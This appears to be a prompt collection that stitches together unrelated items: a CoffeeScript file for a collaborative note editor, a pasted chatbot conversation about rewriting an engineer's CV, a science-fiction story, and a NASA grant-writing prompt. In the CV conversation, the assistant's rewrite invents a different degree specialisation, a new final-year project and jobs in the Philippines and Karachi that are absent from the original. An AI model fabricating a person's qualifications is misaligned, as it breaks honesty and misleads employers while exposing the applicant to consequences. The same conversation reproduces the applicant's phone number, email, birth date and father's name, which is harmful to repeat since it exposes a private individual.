err'\n else\n t.subscribedShareDB.set false\n else if t.wasConnected and isConnected and sharedbConnected\n t.wasConnected = false\n console.log 'sharedb or meteor connected, re-subscribe sharedb'\n t.sharedbDoc.subscribe (err) ->\n if err\n console.log err, 'sharedb subscribe err'\n else\n t.subscribedShareDB.set true\n return !sharedbConnected or !isConnected\n t.sharedbDoc = shareDBConnection.get 'sharedb\\_notes', noteDoc.\\_id\n doc = t.sharedbDoc\n doc.subscribe (err) ->\n if err\n meteorCallSetSocket()\n console.warn err\n return\n t.subscribedShareDB?.set true\n t.pendingOperation = false\n sendCursorData = \\_.debounce (range) ->\n return if !!!cursors.localConnection\n cursors.localConnection.range = range\n cursors.update(noteId)\n return\n , 200\n\n t.cursorsMap = {}\n setCursor = (id) ->\n data = t.cursorsMap[id]\n if data.userId isnt cursors.localConnection.userId\n Meteor.defer ->\n # if a cursor with id already exists, created has no effect\n cursorsModule.createCursor data.userId, data.name, data.color\n cursorsModule.moveCursor data.userId, data.range\n\n unless noteDoc?.\\_id?\n return\n noteCursors = Cursors.find({noteId: noteDoc.\\_id})\n t.cursorsHandle = noteCursors.observeChanges\n changed: (id, fields) ->\n \\_.each Object.keys(fields), (key) ->\n t.cursorsMap[id][key] = fields[key]\n data = t.cursorsMap[id]\n if !!fields.blurMe\n cursorsModule.removeCursor data.userId\n else if data.range? and data.range isnt null\n setCursor(id)\n else\n cursorsModule.removeCursor data.userId\n added: (id, fields) ->\n t.cursorsMap[id] = fields\n setCursor(id)\n removed: (id) ->\n if t.cursorsMap[id]?.userId\n cursorsModule.removeCursor t.cursorsMap[id].userId\n delete t.cursorsMap[id]\n\n # this subscriptionReady ReactiveVar is added to\n # notepad instance t from pagination pages setup\n # In fullscreen note modal, subscriptionReady is\n # the return value from subscribing to the note\n subHandler = t.parentTemplate().subscriptionReady\n createDocIfDoesntExist = (onlyCreateNoSet) =>\n if !!t.deRegisteringNote or !!t.unloadingEventCalled or !Session.get('online')\n return false\n t.autorun (c) ->\n unless Session.get('online')\n c.stop()\n return\n if !!t.data.fullscreenNote\n subIsReady = subHandler.ready()\n else if !!t.data.publicNote\n subIsReady = Router.current().ready()\n else\n subIsReady = subHandler.get()\n if subIsReady and not IsCurrentlySyncing.get()\n c.stop()\n noteDocNotes = Notes.findOne noteId\n noteDocSearch = ESSearchResults.findOne noteId\n noteDoc = noteDocNotes or noteDocSearch\n if noteDoc?.quillDelta?\n quillDelta = ReturnDecryptedItem(noteDoc, 'quillDelta')\n if !doc.type\n t.pendingOperation = true\n if quillDelta?.ops?\n try\n doc.create quillDelta, 'rich-text'\n catch error\n console.log error\n t.pendingOperation = false\n else\n try\n doc.create [], 'rich-text'\n catch error\n console.log error\n t.pendingOperation = false\n\n unless !!onlyCreateNoSet\n unless !!t.updated or t.editor?.hasFocus()\n if doc.data?.ops?\n quill.setContents doc.data, 'silent'\n else if quillDelta?.ops?\n quill.setContents quillDelta, 'silent'\n # if doc.data?.ops?.length isnt quillDelta?.ops?.length\n # console.log 'sharedb doc differs from saved', doc.data?.ops, quillDelta?.ops\n\n # this tracker function is watching for the sub to be ready \n # and also waits until initial offline to online sync is complete\n !!subIsReady and IsCurrentlySyncing.get()\n\n createDocIfDoesntExist()\n t.$('.ql-editor').on 'blur', (e) ->\n cursors.removeMe(Session.get('notepadId'), noteId)\n\n # local -> server\n allowNewData = true\n # is the user allowed new data based on their current subscription plan\n # new data is always allowed for public notepads and notes\n checkAllowNewData = \\_.throttle ->\n isPublic = (Router.current().route.getName() is 'publicNotepad') or (Router.current().route.getName() is 'publicNote')\n if isPublic\n allowNewData = true\n else\n userId = t.data?.userId or noteDoc?.userId or Meteor.userId()\n allowNewData = IsAllowedNewData(userId)\n unless allowNewData\n console.log 'new data not allowed, disk limits, sharedb op not sent'\n , 20000\n sendOp = (delta) ->\n unless ShareDBConnected.get()\n console.log 'cannot send op, sharedb is not connected'\n return\n checkAllowNewData()\n unless allowNewData\n return\n doc.submitOp delta, { source: quill }, (err) ->\n if err\n console.warn 'Submit OP returned an error:', err\n\n # watches the editor for text changes, and is called for every changes with the deltas\n quill.on 'text-change', (delta, oldDelta, source) ->\n return if t.$('.quill-editor').hasClass('ql-disabled')\n return unless Session.get('online')\n if source is 'user'\n unless CheckShareDBSocketOpen()\n console.warn t?.sharedbDoc, ' the sharedb doc, sharedb socket not open while submitting op'\n return\n if !!!t?.sharedbDoc?.type\n console.warn 'doc doesnt exist while trying to submit op', t?.sharedbDoc\n createDocIfDoesntExist(true)\n formattingDelta = delta.reduce (check, op) ->\n if (op.insert or op.delete)\n false\n else\n check\n , true\n if !formattingDelta and cursors.localConnection.range and cursors.localConnection.range.length\n cursors.localConnection.range.index += cursors.localConnection.range.length\n cursors.localConnection.range.length = 0\n cursors.update(noteId)\n t.pendingOperation = true\n # if the previously sent op is still pending, add future changes to an op queue\n sendOp delta\n\n # server -> local\n applyOp = (op) ->\n quill.updateContents op, 'api'\n t.opFn = (op, source) ->\n if source isnt quill\n console.log 'applying op', source, quill\n applyOp op\n\n doc.on 'op', t.opFn\n \\_sendCursorData = ->\n range = quill.getSelection()\n if range\n sendCursorData range\n debouncedSendCursorData = \\_.debounce \\_sendCursorData, 300\n t.whenNothingPendingFn = ->\n t.pendingOperation = false\n debouncedSendCursorData()\n doc.on 'nothing pending', t.whenNothingPendingFn\n\n t.delFn = (data, source) ->\n console.log 'this document was deleted', data, source\n doc.on 'del', t.delFn\n\n t.errorFn = (err) ->\n t.pendingOperation = false\n switch err.code\n when 4015, 4017\n createDocIfDoesntExist()\n doc.on 'error', t.errorFn\n\n quill.on 'selection-change', (range, oldRange, source) ->\n return if t.$('.quill-editor').hasClass('ql-disabled')\n return unless Session.get('online')\n if source is 'user' and quill.hasFocus()\n sendCursorData range\n\n t.preventUnloadIfSaving = (e) ->\n return unless Session.get('online')\n if !!t.pendingOperation\n if Meteor.isDesktop\n swal('Your changes are currently being saved', 'Please wait a few seconds until saving is complete before closing', 'warning')\n return false\n else\n return 'Your changes are currently being saved. Are you sure you want to quit?'\n\n $(window).on 'beforeunload', t.preventUnloadIfSaving\n\n # the UpdateQuillHistoryStackAutorun should be initialized after initial set contents\n # history operation specigfic too each user is synced between all their devices\n # initializing the tracker below does this\n UpdateQuillHistoryStackAutorun(t)\n\n # this only registers the note with collaboration services if ShareDB Connection can be made\n meteorCallSetSocket = \\_.throttle ->\n if !!t.callingShareSub\n return\n t.callingShareSub = true\n Meteor.defer ->\n t.subscribeComp = t.autorun (c) ->\n if !!t.deRegisteringNote\n c.stop()\n t.callingShareSub = false\n return\n else if ShareDBConnected.get()\n c.stop()\n t.callingShareSub = false\n setSocketThenSubscribe()\n else\n console.log 'cannot connect to Memrey collaboration services...'\n return ShareDBConnected.get()\n , 400\n\n t.subscribeComp?.stop()\n meteorCallSetSocket()" -'rewrite this in simple words "Dear Hina,\n\nThank you for considering me for the position in procurement and business department at Cgico. I appreciate your interest in my profile and would be glad to answer your question regarding my PEC certificate.\n\nYes, I do possess a PEC certificate and would be happy to provide any further documentation or details regarding my certification, if required.\n\nI am excited about the opportunity to interview with your organization and would be available for an interview either today or tomorrow as per your convenience. Please let me know the time and date for the interview.\n\nThank you for your time and consideration.\n\nBest regards,\n[Your Name]\n\nShare Prompt\n\nMuhammad Ahsan Ali\nrewrite this cv according to previous role\nShare Prompt\nI apologize, but I would need more information to understand what you are asking for. Could you please provide me with more details about the CV and the previous role you want me to rewrite it for?\n\nShare Prompt\n\nMuhammad Ahsan Ali\nAHSAN ALI\nContact #: +92 3058627401\nEmail ID: pk5ahsan@gmail.com\nELECT/86714 PEC (Pakistan Engineering Council)\nCAREER OBJECTIVE\nI\'m very positive, confident, fast learner and happy with whatever I\'ve achieved so far. I\'m always ready to accept challenges and see it as a brilliant opportunity for me to use my skills and qualities to learn more from that. Aimed to be associated with progressive and forward looking organization, which provides opportunity to apply my knowledge and skills towards the growth of the organization.\nQUALIFICATION\n1. Bachelor of Science in Electrical Engineering\nCommunications (2016 - 2020) (3.55/4)\nRiphah International University, Islamabad, Pakistan.\n• FYP “Li-Fi Based Healthcare and Monitoring System”\n• Journal “Li-Fi Based Healthcare and Monitoring System” APICEE 22\n• Electrical Machines I & II | Linear Control Systems | Instrumentation & Measurements\n• Signal & Systems | Communication Systems | Digital Signal Processing\n• Digital Communications, RF & Microwave Engineering, Antenna & Wave Propagation\n2. Higher Secondary School Certificate.\nPre-Engineering (1st Div.)\nFederal Board of Intermediate and Secondary Education.\n3. Secondary School Certificate.\nScience (2nd Div.)\nFederal Board of Intermediate and Secondary Education.\nEXPERIENCE\n1. Internee at Zimco International Corporation (Virtual).\n(From June - August 2022)\nResponsibilities:\n• HSE Measurements\n• Designing of Control Panel using Panel Layout\n• Detail study of LV/HV Panel\n• SLD of Control Panel\n• Preparing BOQ\n• Reading Layout Drawings\n• Tagging\n• Current and Voltage Protection\n• Installation, Troubleshooting and Testing of Panels.\n• Working of Relays, DOL starter, Thermal Overload Relay\n\u2003\n2. Internee at Andromeda Technologies (Pvt) Ltd.\n(From 5 July - 12 August 2021)\nThe company is engaged in providing telecom services to Huawei, PTCL, Jazz and other telephone companies in Pakistan.\nResponsibilities:\n• Services utilized by M/S Huawei Technologies Pakistan Private Limited in North Region\n• Worked in PM (Preventive Maintenance) Team\n• Worked on Huawei OWS\n• Operations and monitoring of Transmission Networks elements i.e. Switches, Microware and Radio Access Network.\n• Alarms reporting to NOC\n• Checklist approval\n• Operations and monitoring of Broadband network that includes Switches and customer premises devices.\n• Preparation of daily fault reports. Keeping record of opening/ closure of services including record of assets.\n• Supervision of tasks related to Repair and Maintenance of existing setup.\n• Implementation of SOPs and processes for smooth operations and maintenance.\n3. Trainee Engineer at 132KV Grid Station in Islamabad Electric Supply Company Limited (IESCO) (Cantt Rawalpindi Pakistan).\n(From 1-31 August 2019)\nThe company is engaged in providing electricity in the area of Islamabad, Rawalpindi and other cities of Pakistan.\nResponsibilities:\n• Operation on 132KV Circuit breakers\n• Control Panel handling\n• SF6 Gas pressure and controlling HT/LT breakers\n• Maintenance, routine checks and ensuring smooth operation\n• Fault finding and troubleshooting during breakdown on LV HV system form power generation, transmission and control circuitry\n4. Trainee Engineer in Housing Society (Askari-14 Rawalpindi Pakistan).\n(From June-August 2018)\nResponsibilities:\n• Worked with Engineers on LV electrical project works\n• Reading blueprints and technical diagrams to determine the placement of outlets and fixtures\n• Installing wiring, outlets, and controls\n• Inspecting transformers and circuit breakers to ensure they are up to code\n• Identifying electrical problems using specialized tools like voltmeters, cable testers, thermal scanners, and ammeters\n• Directing and training fellow workers to install, maintain, and repair wiring and systems\n• Ensuring electrical safety and compliance standards are maintained at all times throughout each project or task\nPROFESSIONAL CERTIFICATIONS\n• Fiber Optics Professional\n• PLC and SCADA\n• CCNA Routing and Switching\n• CCNA Security\n• AutoCAD\nSOFT SKILLS\n• Advanced Design System (ADS)\n• High-Frequency Structure Simulator (HFSS)\n• Signal Processing on MATLAB and Simulink\n• Simulation on Proteus, Multisim and LTspice\n• PCB Designing\n• C/ C++ Programming\n• 2D and 3D Designing on AutoCAD (Basic)\n• Computer Knowledge (Word, Excel, Power Point)\n• Operating System: Windows 7, 10.\nPROJECTS\n• Li-Fi Based Healthcare and Monitoring System (Final Year Project)\n• Home Automation Using Arduino and PIC Microcontroller\n• Pulse Rate Monitor\n• 4 Way Traffic Signal Control\n• Solar Based Mobile Charger\n\nPROFILE AND SKILLS IN BRIEF \n• Excellent in Public Relations and Customer Care.\n• Fast Learner, Good interpersonal Skills and willing to travel.\n• A Good Team Player, Creative, Responsible and Flexible.\n• Friendly, Honest and Sociable with pleasing manners.\n• Disciplined, Hardworking and well pleasing manners.\n• Computer literate with good Knowledge of MS Office.\n• Ability to work in minimum supervision.\n\nPERSONAL DETAILS\nFather Name : Ghazanfar Ali\nDate of Birth : November 11, 1994\nAddress : Rawalpindi Cantt, Punjab, Pakistan\n\nVisited : Oman, Saudi Arabia\nLanguages English, Urdu and Punjabi\nReference Will Be Furnished On Request\n\n (AHSAN ALI)\n rewrite this cv for position in procurement and business department\nShare Prompt\nAHSAN ALI\nContact #: +92 3058627401\nEmail ID: pk5ahsan@gmail.com\nELECT/86714 PEC (Pakistan Engineering Council)\n\nCAREER OBJECTIVE\nAs an experienced Electrical Engineer, I am seeking a challenging role in a forward-looking organization where I can apply my knowledge and skills to contribute to the growth and success of the company. I am confident, positive, and a fast learner who is always ready to embrace challenges and use my expertise to find solutions that benefit the company.\n\nQUALIFICATION\n\nBachelor of Science in Electrical Engineering\nPower (2016 - 2020) (3.55/4)\nRiphah International University, Islamabad, Pakistan.\n• FYP “Design and Implementation of a Hybrid Solar and Wind Power System for Off-grid Electrification”\n• Journal “Design and Implementation of a Hybrid Solar and Wind Power System for Off-grid Electrification” APICEE 22\n• Electrical Machines I & II | Linear Control Systems | Instrumentation & Measurements\n• Signal & Systems | Power Systems | High Voltage Engineering\n• Power Electronics, Power System Protection, and Switchgear, Power Distribution System\nHigher Secondary School Certificate.\nPre-Engineering (1st Div.)\nFederal Board of Intermediate and Secondary Education.\nSecondary School Certificate.\nScience (2nd Div.)\nFederal Board of Intermediate and Secondary Education.\nEXPERIENCE\n\nAssistant Electrical Engineer at Islamabad Electric Supply Company Limited (IESCO) (Cantt Rawalpindi Pakistan).\n(From 1-31 August 2021)\nResponsibilities:\n• Operation and maintenance of electrical equipment such as transformers, switchgears, and circuit breakers\n• Ensuring compliance with safety and quality standards\n• Assisting senior engineers in planning and executing projects\n• Troubleshooting electrical faults and recommending solutions\n• Designing and implementing preventive maintenance programs\n• Monitoring and controlling electrical loads to avoid overloading\n• Working with the team to ensure smooth operations and minimize downtime\n\nElectrical Engineer at National Grid Corporation of the Philippines (NGCP)\n(From 2020-2021)\nThe company is engaged in the transmission of high voltage electricity across the Philippines.\nResponsibilities:\n• Operation and maintenance of electrical equipment such as transformers, switchgears, and circuit breakers\n• Assisting senior engineers in planning and executing projects\n• Preparing technical reports and documentation\n• Troubleshooting electrical faults and recommending solutions\n• Designing and implementing preventive maintenance programs\n• Monitoring and controlling electrical loads to avoid overloading\n• Ensuring compliance with safety and quality standards\n\nTrainee Engineer at K-Electric Limited, Karachi, Pakistan.\n(From June-August 2019)\nThe company is engaged in the generation, transmission, and distribution of electricity in Karachi, Pakistan.\nResponsibilities:\n• Operation and maintenance of electrical equipment such as generators, transformers, switchgears, and circuit breakers\n• Assisting senior engineers in planning and executing projects\n• Preparing technical reports and documentation\n• Troubleshooting electrical faults and recommending solutions\n• Designing and implementing preventive maintenance programs\n• Monitoring and controlling electrical loads to avoid overloading\n• Ensuring compliance with safety and quality standards\n\nPROFESSIONAL CERTIFICATIONS\n• Electrical Engineer License - Pakistan Engineering Council (PEC)\n• CCNA Routing and Switching\n• CCNA Security\n• SCADA and PLC\n• AutoCAD\n• Advanced Design System (ADS)\n• High-Frequency Structure Simulator (HFSS)\n• Signal Processing on MATLAB and Simulink\n• S\n\nShare Prompt\n\nMuhammad Ahsan Ali\nmodify this cv accordingly\nShare Prompt\nAs an AI language model, I cannot modify the content of your CV, but I can provide you with some suggestions to make it more effective and impressive:\n\nUse a professional format: Make sure that your CV is easy to read, clear and concise. You can use bullet points and headings to organize your information.\n\nWrite a strong objective statement: A clear and specific objective statement will help the recruiter understand your career goals and what you can offer to the organization.\n\nHighlight your key qualifications: Make sure to highlight your relevant qualifications, education and experience related to the job position you are applying for.\n\nEmphasize your achievements: Instead of just listing your responsibilities, try to focus on the achievements and accomplishments you have made in your previous roles.\n\nInclude relevant certifications and skills: Highlight your professional certifications, technical skills, and soft skills that align with the job requirements.\n\nTailor your CV for the job: Customize your CV for the job you are applying for by emphasizing the skills and experiences that match the job requirements.\n\nProofread your CV: Ensure that your CV is free from errors and typos by proofreading it carefully before submitting it.\n\nOverall, the goal of your CV should be to showcase your relevant qualifications, experience, and achievements in a clear and compelling way that grabs the recruiter\'s attention.\n\nShare Prompt\n\nMuhammad Ahsan Ali\nhelp me in this "Emphasize your achievements" according to my cv "Instead of just listing your responsibilities, try to focus on the achievements and accomplishments you have made in your previous roles."\nShare Prompt\nCertainly, here are some tips to emphasize your achievements in your CV:\n\nQuantify your accomplishments: Use numbers and statistics to show the impact of your work. For example, instead of saying "managed a team," say "led a team of 10 people, resulting in a 20% increase in productivity."\n\nHighlight specific accomplishments: Focus on specific projects or tasks you completed that had a positive impact on your organization. For example, "developed and implemented a new marketing strategy that led to a 50% increase in sales."\n\nUse action verbs: Start your accomplishment statements with action verbs like "increased," "improved," "implemented," "reduced," etc. This makes your achievements sound more active and impressive.\n\nBe specific: Avoid general statements like "contributed to the company\'s success." Instead, be specific about what you contributed, such as "introduced a new process that reduced costs by 25%."\n\nShow the impact: Explain how your achievements had a positive impact on your organization, such as "my efforts led to increased revenue and improved customer satisfaction."\n\nRemember, the goal is to show potential employers how you can bring value to their organization based on your previous successes. By emphasizing your achievements in your CV, you demonstrate that you are a results-oriented professional who can make a difference in the workplace.\n\nShare Prompt\n"Share Prompt' -'ENTRY 6\n\nSo, here is the thing with ansibles. We don’t actually know how they work.\nThey’re not supposed to work. There is absolutely no way to explain instantaneous Faster-than-Light communication. They’re not even that reliable for that. All we know is that if we place the terminals around the perimeters of Co-Op space in a relative sphere, they can be used as repeaters, and they can be used to triangulate locations in Co-Op space. They can be used as navigational beacons for ships using the A-Drive between systems. This is what nobody wants to admit. It’s not science. It’s some kind of space woo woo. We haven’t figured out the science yet.\nWell.\nWe’ve tried.\nThe closest we can come to a theoretical underpinning is some anonymous submit’s ramblings about “Simultaneity,” but that’s generally considered crackpot physics, along the lines of ancient aliens. We’re not writing science fiction here.\nBut aside from that, there is no theoretical underpinning to how they function, we’ve made guesses at best. See for yourself in the posts on the Library BBSs, there’s fork after fork of proofs that all get downvoted into oblivion.\nThe best we can do:\nWe got ansibles from the Nadiran, who don’t know how they work either (or if they do, they’re never going to tell us). We don’t know where they got them from.\nAnd at some point, Earth got ansibles from us.\nAnd ansibles are what my father specialized in. Much deeper than I ever went. \n\nFor a while after we got the ansible from the Nadiran, ansibles were all the rage, every syndicate wanted the jump on pushing their own mods. Eventually, we found we couldn’t get any to work but the ones we’d back-engineered, seemingly the slightest variance on the design made them useless pieces of junk. The best we can hope for is that Earth and the All Worlds Coalition don’t figure out the ansible before we do.\nMy father was at an ansible relay out on the fringes of the far side of the Perimeter, when every board on every comm station up and down the Perimeter suddenly went off. \nWe didn’t see what happened; we had no idea.\nI was 12 when he died - though I can probably count on one hand the number of times I’d seen him. \nMy father was out there on EVA, walking along the relay station, when the spinning blades appeared from practically nowhere, and disappeared again, but not before turning him into space paste. They retrieved his helmet, that’s all that could be retrieved. He was one of some 5 Co-Oppers lost that day. We were lucky. A whole world in Nadiran space wasn’t. And now I’m going to assume that you know about the Machine Plague what everyone knows. \nNothing would ever be the same again.\nAt the spinmost side of the Perimeter, a little further Rimward of our core space (but where we kept an ansible relay, and not far from where the Nadiran kept their rimward-most listening station) the machines swooped down like locusts, destroyed anything in their path, and then they were gone again. \nAnd for much of the region, the trouble was only beginning. \nWithin a few years, Nadiran trade had collapsed in the region of space most adjacent to the appearances of the Machine Plague. This left famine in its wake.\nThe Co-Op went and took up the lanes in its stead, set up its own arcologies and production, and employed the locals left by the Nadiran to just twist in the wind. Some people weren’t too happy about this, but all in all, there haven’t been that many complaints, and we even have plenty of Altikhari and D’agra spacers now. But that’s neither here nor there. The people most unhappy about this are some of the humans in the Intersystem Transport Syndicate. \nAnd… the rest of us have, by and large, gone on with our lives.\nWith the result that if you grew up within Co-Op space any time within the last 20 years, you’ve had a very, very different life from anything like I came up in. From the lifetime of your own parents, or the lifetime of any Light-Chaser.\nWhen the Machine Plague ever returns, for all we know, we’ll be back to square one. We don’t even know where the damned thing comes from, what it comes out of. \nBut if there’s ever a chance at finding out, there’s a chance ansibles will tell us, will give us the proof.\nBecause whatever reason it is that ansibles actually work, and however it is that these things came from seemingly nowhere (except it isn’t nowhere, I’ve already blown a decade of my life on this problem), I’ve got years’ worth of schematics and proofs that point to the same possible reason. I’m surprised R’Kesh didn’t just give up on me during those years.\nBut for a long time, I had no idea that the closest we’ve gotten to anything that could be a key, is in Novayan loresong. To humans, to the human peer review groups and the research syndicates, that’s just “alien woo-woo.” \n\n ENTRY 7\n\nIt’s from R’Kesh that I first heard about the Ways across the Void. Rreh tharri Kith’anna. Some older Novayans were steadfast in their belief in Traversable Anomalies, as attested by what songs remained from before they set foot on Novaya. \nThe night we first talked about it: it was during that first flight together, some months before Landing Day, before we got together in port. It’s also memorable because it was the first real conversation we’d ever had.\nI was sitting in the corner of the mess during Midwatch with my noise-cancelers on, and I was doing the thing I usually did off shift… work on my ratings, but in this case, it was a project to present to the Deep Space Expedition Syndicate’s threads on the Library BBS. \nAfter catching my breath for several moments, I looked up. A foil package appeared next to my books at the table.\nMy stomach clenched with dread. This is where I came to study during Midwatch, was I going to lose this place? Have to start hiding in my hab pod? I expected the intruder to insert themselves into my space at the table, steeled myself for the intrusive questions, preparing the answer I’d have, trying to make it as toothless as I could, and whatever the case might be, my work was done for the night.\nI looked up: it was R’Kesh.\nHe simply stood, and didn’t sit down at the table like I expected to: he looked like he was going to walk off.\nAfter my motioning to the seat, he eased himself into it, leaning over briefly to look at my work. “You’re doing the Ansible Problem,” he said: “Rating in Astronav? Somewhere along the line, we all have to do the Ansible Problem. It’s funny for a Novayan, ay…”\n“Nope. Personal project,” I replied, though for a moment, I imagined being up – alone – in the astronav dome, and filed that thought away for a while.\n“Joining DSES?” he asked – referring to the Deep Space Expedition Syndicate. (I didn’t know how seriously to take this question, DSES was still taken as something of a joke at that point in time.)\n“Hell no,” I replied.\n“You’ve been here for hours. You don’t sleep, ay?”\n“Could say the same for you,” I said.\n“We just take naps,” R’Kesh replied. “Looks like you’re busy.”\n“I WAS busy! I’m going to have to start this whole thing over!”\nI slammed the book closed and crossed my arms.\n“Maybe eat first, ay?” he said.\nI looked at the package: it was a packaged spicy salmon onigiri. My stomach growled; I hadn’t moved from this spot for hours. I ripped the package open and proceeded to indelicately stuff my face. I wanted to be mad at him for the disruption but by this point, I couldn’t be mad at the person who’d brought me food.\nAfter a long time, after washing all of that down with a bulb of now-cold green tea, I wiped my mouth, and finally looked up at R’Kesh and asked: “Funny for a Novayan?”\n“Hm?”\n“You said… having to do the Ansible Problem, is funny for a Novayan.”\n“Oh. Yes!”\nHe didn’t say anything for a while.\n“You don’t just destroy my work for the night so that I’m gonna have to start over, drop that on me, and not tell me about it.”\nHe chuckled. But then, just as quickly, he was solemn. “R’Kesh humbly asks the Sparks’ forgiveness. I will stay out of your space next time you are reading.”\nI crossed my arms again. “I’ll forgive you if you tell me why the Ansible Problem is so damned funny to a Novayan!”\n“Right,” he said, “Walk with me?”\nI grabbed the book off the table, stuffed it in my bag, and crumpled up the foil onigiri wrapper in one hand. “Lead the way.”\n\n\\*\\*\\*\n\nI probably should have just gone back to my hab and gone to bed, but instead, I had walked with this Novayan down to the hydroponics lab. We sat in a corner in the arboretum, huddled against the wall, and he spoke softly and at length.\nI’d already known somewhat about Novayan loresong; it’s something lots of spacers know, we have our superstitions. More spacer custom comes to us from the Novayans than most of the humans in the syndicates want to admit.\nBut most humans don’t take Novayan loresong seriously. Before being close to the brothers, I didn’t know how seriously to take it, myself.\nBut a much more obscure loresong, it turned out, alluded to tunnels through space, through which they’d sailed fairly lower tech ships, and that this is how they settled their world. He sang a couple of the songs he knew - first playing the tune on his blue ocarina, then singing it in Novayan, with an explanation of what each lyric meant.\n[Edit: put some of those lyrics here.]\nAfter some time, he put his ocarina down, and said:\n“We have no proof, of course. We would not even know how to look now. But any Novayan would love to be the one to find the proof. It’s something any navigator likes to know about. I would love to go through, one day.”\n“You must be insane if you want to do that.”\n“Nnh.”\nWe were quiet for a moment. \n“So what is the Sparks’ interest in wormholes, then?” he asked.\n“Wormholes are the only possible way the ansibles could work. It’s treated like… junk science. Better people than me have tried. It’s just going to take actual investigation. I hope they get to it before another Machine Plague comes. I’ve seen some of the feeds. Over, over, over. We still don’t have enough empirical data. Not yet. Without that, anything posted to any of the syndicate boards, will just get downvoted into oblivion. And without upvotes, it doesn’t pass to a vote in a syndicate-“\n“Nnh. We’ve stayed out of it,” R’Kesh said. “Somehow. Sounds like we are not missing-”\n“-and without a syndicate supermajority, nobody releases the resources or bothers with their time. DSES is the only syn that will give it the time of day, and they’ve got what? A little office on Perimeter Four?” \n“We don’t exactly have much ‘deep space’ to go to,” R’Kesh said. “Or much way to get there.”\n“We? Don’t tell me.”\n“Associate syndic. What do you have against DSES anyway?”\n“They keep downvoting me. Deleting my forks. One of them even forked my proposal and tried to push it through themselves, with their own ideas.”\n“That’s how it WORKS, Vahl!”\nWe didn’t say anything for a while, and finally, we got up.\n“It wasn’t you, was it?”\n“It was not me. How many syndicate forums do you post in, anyway?”\n“A lot.”\nSo this is where I stop right here. Because I am getting off on a tangent, and none of this is going to tell you a single goddamned thing about how I ended up trapped on Planet Bullshit and became head of R&D for an aspiring rocket tyrant. Or about a single thing you actually needed to know.\nBut wormholes have something to do with it.\nAnd so does R’Kesh.' -'I want to you to act as a federal research grant writer. I will provide you with a description of the task and the desired deliverables. You will generate at least 5 paragraphs for each chapter heading that I will provide you with.\n\nDescription:\n\nAutonomous and partially-autonomous systems promise the opportunity for a future with self-driving automobiles, air taxis, packages delivered by unmanned aerial vehicles (UAVs), and more revolutionary Earth applications. At the same time, it is expected that future NASA deep space missions will happen at distances that put significant communication barriers between the spacecraft and Earth, including lag due to light distance and intermittent loss of communications. As a result, it will be difficult to control every aspect of spacecraft operation from an Earth-based mission control, and thus, the crews will be required to manage, plan, and execute the mission and to respond to unanticipated system failure and anomaly more autonomously. Similarly, there is also opportunity for unmanned vehicles on Earth to benefit from autonomous, cognitive agent architectures that can respond to emergent situations without the aid of human controllers. For this reason, it is advantageous for operational functionality currently performed by external human-centric control stations (e.g., mission control) to be migrated to the vehicle and crew (if piloted). Since spacecraft operations will consist of a limited number of crewmembers who each operate with a limited performance capacity (in terms of both cognition and tasks), it will be necessary for the spacecraft to have assistive, autonomous, and semi-autonomous agents to be responsible for a large proportion of spacecraft operations so as not to overburden the crew.\n\nCognitive agents could provide meaningful help for many tasks performed by humans. Novel operational capabilities required by deep space missions, such as spacecraft and systems health, crew health, maintenance, consumable management, payload management, and activities such as food production and recycling could benefit from the assistance of autonomous agents, which could interface directly with the crew and onboard systems, reducing cognitive load and scheduling time on the crew. Additionally, cognitive agents could contribute to many general operational tasks in collaboration with the crew, such as training, inspections, and mission planning. Finally, autonomous agents could increase the mission’s resilience to hazardous events, both by directly responding to certain events (e.g., ones which unfold too quickly for the crew to catch, or which immobilize the crew) and by providing assistive services (e.g., fault diagnosis, contingency analysis, and mission replanning).\n\nHowever, implementing these cognitive agents presents significant challenges to the underlying software architecture. First, these agents will need to be able to take a significant amount of responsibility for mission operations while still operating under crew directives. Additionally, agents with different dedicated roles will need to share resources and hardware and may have differing goals and instructions from human operators that need to be managed and coordinated. Such agents will, thus, need to be able to take these actions autonomously while enabling (1) effective crew (or vehicle occupant) control of the vehicle even when the agent is operating autonomously (meaning, the agents should not be acting in unexpected ways and should report when the situation has changed enough to justify a change in operations), (2) direct crew control of the task when manual intervention is needed, and (3) autonomous and manual coordination/deconfliction of agent goals and tasks. Second, for NASA space missions, long-duration spaceflight is likely to uncover new challenges during the mission that require some level of adaptation. Whether this is because of known low-probability hazardous events or because of “unknown unknown” situations that were not planned for, cognitive agents will need to have a capacity for “graceful extensibility.” This concept is not unique to space missions—Earth-based vehicles will also need to be able to respond to similar types of events in-time given the highly variable and heterogenous environments they will likely encounter when operated at scale. As a result, the architecture of the cognitive agent will need to be able to learn (both from taught examples and from the environment) and reconfigure itself (in collaboration with the crew) to perform new tasks. Finally, these capabilities need to be implemented with the high level of assurance required by mission operations, meaning that learned and autonomous behavior must be transparent, predictable, and verifiable using traditional software assurance techniques.\n\nThis subtopic solicits intelligent autonomous agent cognitive architectures that are open, modular, make decisions under uncertainty, interact closely with humans, incorporate diverse input/data sources, and learn such that the performance of the system is assured and improves over time. This subtopic will enable small businesses to develop the underlying learning/knowledge representation, methods for enabling the required behavior (e.g., operations and interactions), and necessary software architectures required to implement these technologies within the scope of cognitive agents that assist operators in managing vehicle operations. It should be feasible for cognitive agents based on these architectures to be certified or licensed for use on deep space missions to act as liaisons that interact with the mission control operators, the crew, and vehicle subsystems. With such a cognitive agent that has access to all onboard data and communications, the agent could continually integrate this dynamic information and advise the crew and mission control accordingly by multiple modes of interaction including text, speech, and animated images. This agent could respond to queries and recommend to the crew courses of action and direct activities that consider all known constraints, the state of the subsystems, available resources, risk analyses, and goal priorities. Cognitive architectures capable of being certified for crew support on spacecraft are required to be open to NASA with interfaces open to NASA partners who develop modules that integrate with the agent, in contrast to proprietary black-box agents. It should be noted that fulfilling this requirement would additionally make the cognitive agent suitable for a wide variety of Earth applications where a high level of assurance is needed (e.g., autonomous vehicles and aircraft).\n\nAn effective cognitive architecture would be capable of integrating a wide variety of knowledge sources to perform a wide variety of roles depending on mission requirements. For example, an effective prognostics and health management (PHM) agent would need to be able to take sensor data, interpret this data to diagnose the current state of the system using learned artificial intelligence (AI) models, digital twin simulations and data, and user input, and project out potential contingencies to plan optimal maintenance and/or fault avoidance operations under uncertainty. These operations would need to be modifiable in operations, for example, if a hazardous event occurs, there are changes to the mission, or there is a learnable change in behavior that reduces arising projection errors. This agent would need to be able to conduct operations autonomously for low-level inspection and maintenance operations while enabling safe human intervention throughout the process. It would finally need to communicate with crews for planning and performance of maintenance operations, to report/escalate potential hazardous contingencies, and for modification of operations (e.g., learning). This communication could include producing human-interpretable visual dashboards, communicating directly via speech, and direct manipulation of hardware (e.g., to 